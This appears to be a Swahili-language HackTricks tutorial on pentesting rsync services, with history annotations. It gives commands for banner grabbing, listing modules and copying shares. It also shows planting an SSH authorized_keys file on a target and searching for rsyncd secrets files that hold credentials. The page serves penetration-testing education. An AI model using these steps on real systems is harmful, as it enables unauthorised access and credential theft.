hacktricks/network-services-pentesting/873-pentesting-rsync.md

134 lines
7.4 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 873 - Pentesting Rsync
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## **Maelezo Muhimu**
2024-02-11 02:13:58 +00:00
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Rsync):
2024-02-11 02:13:58 +00:00
> **rsync** ni programu inayotumika kwa ufanisi katika [kuhamisha](https://en.wikipedia.org/wiki/File\_transfer) na [kusawazisha](https://en.wikipedia.org/wiki/File\_synchronization) [faili](https://en.wikipedia.org/wiki/Computer\_file) kati ya kompyuta na diski ngumu ya nje na kati ya [kompyuta](https://en.wikipedia.org/wiki/Computer) zilizounganishwa kwenye [mtandao](https://en.wikipedia.org/wiki/Computer\_network) kwa kulinganisha nyakati za [ubadilishaji](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) na ukubwa wa faili.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Mara nyingi hupatikana kwenye [mfumo wa uendeshaji](https://en.wikipedia.org/wiki/Operating\_system) kama vile Unix. Algorithm ya rsync ni aina ya [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), na hutumiwa kupunguza matumizi ya mtandao. [Zlib](https://en.wikipedia.org/wiki/Zlib) inaweza kutumika kwa [kupunguza data](https://en.wikipedia.org/wiki/Data\_compression) ziada,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) na [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) au [stunnel](https://en.wikipedia.org/wiki/Stunnel) inaweza kutumika kwa usalama.
2024-02-11 02:13:58 +00:00
**Bandari ya chaguo-msingi:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
2024-02-11 02:13:58 +00:00
### Uchambuzi
### Bango na Mawasiliano ya Mwongozo
Kabla ya kuanza kuchunguza huduma ya rsync, ni muhimu kufanya uchambuzi wa awali ili kupata habari muhimu. Kuna njia mbili za kufanya hivyo: kuchunguza bango na kuwasiliana kwa mwongozo.
2024-02-11 02:13:58 +00:00
#### Kuchunguza Bango
Kuchunguza bango kunahusisha kupata habari kutoka kwa bango la huduma ya rsync. Unaweza kutumia amri ya `telnet` au zana kama `nmap` kufanya hivyo. Kwa mfano, unaweza kutumia amri ifuatayo:
```plaintext
telnet <IP> 873
```
2024-02-11 02:13:58 +00:00
Ikiwa unapata majibu kutoka kwa seva ya rsync, unaweza kusoma habari muhimu kama toleo la huduma na maelezo mengine yanayoweza kuwa na manufaa.
2024-02-11 02:13:58 +00:00
#### Kuwasiliana kwa Mwongozo
Kuwasiliana kwa mwongozo kunahusisha kujaribu kuunganisha na seva ya rsync kwa kutumia amri ya `rsync` na kuchunguza majibu yake. Unaweza kutumia amri ifuatayo:
```plaintext
rsync rsync://<IP>:873
```
Ikiwa unapata majibu kutoka kwa seva ya rsync, unaweza kusoma habari muhimu kama toleo la huduma na maelezo mengine yanayoweza kuwa na manufaa.
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
2024-02-11 02:13:58 +00:00
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
2024-02-11 02:13:58 +00:00
### **Kutambaza Folda Zilizoshirikiwa**
2024-02-11 02:13:58 +00:00
**Moduli za Rsync** hutambuliwa kama **kushiriki folda** ambazo zinaweza kuwa **zimekingwa na nywila**. Ili kutambua moduli zilizopo na kuangalia kama zinahitaji nywila, tumia amri zifuatazo:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
2024-02-08 21:36:35 +00:00
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
2024-02-11 02:13:58 +00:00
Kuwa makini kwamba baadhi ya hisa huenda zisionekane kwenye orodha, huenda zikifichwa. Aidha, kupata baadhi ya hisa kunaweza kuwa na kikwazo cha **vitambulisho** maalum, kama inavyoonyeshwa na ujumbe wa **"Access Denied"**.
2024-02-08 21:36:35 +00:00
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
2024-02-11 02:13:58 +00:00
### Matumizi ya Rsync kwa Mikono
2024-02-11 02:13:58 +00:00
Baada ya kupata orodha ya **moduli**, hatua zinategemea kama uwakilishi unahitaji uwakilishaji. Bila uwakilishaji, **kuorodhesha** na **kukopi** faili kutoka kwenye folda iliyoshirikiwa kwenda kwenye saraka ya ndani inafanikiwa kupitia:
```bash
2024-02-08 21:36:35 +00:00
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
2024-02-08 21:36:35 +00:00
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
2024-02-11 02:13:58 +00:00
Mchakato huu **unaendeleza faili kwa njia ya kurejesha**, ukilinda sifa na ruhusa zake.
2024-02-11 02:13:58 +00:00
Kwa **vitambulisho**, orodha na kupakua kutoka kwenye folda iliyoshirikiwa inaweza kufanywa kama ifuatavyo, ambapo itaonekana ombi la nenosiri:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
2024-02-11 02:13:58 +00:00
Kutuma **maudhui**, kama faili ya _**authorized_keys**_ kwa ajili ya ufikiaji, tumia:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
2022-05-01 13:25:53 +00:00
## POST
2024-02-11 02:13:58 +00:00
Ili kupata faili ya usanidi ya rsyncd, tekeleza:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
2024-02-11 02:13:58 +00:00
Ndani ya faili hii, parameteri ya _secrets file_ inaweza kuashiria faili inayohifadhi **majina ya watumiaji na nywila** kwa ajili ya uwakiki wa rsyncd.
2024-02-08 21:36:35 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2024-02-08 21:36:35 +00:00
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>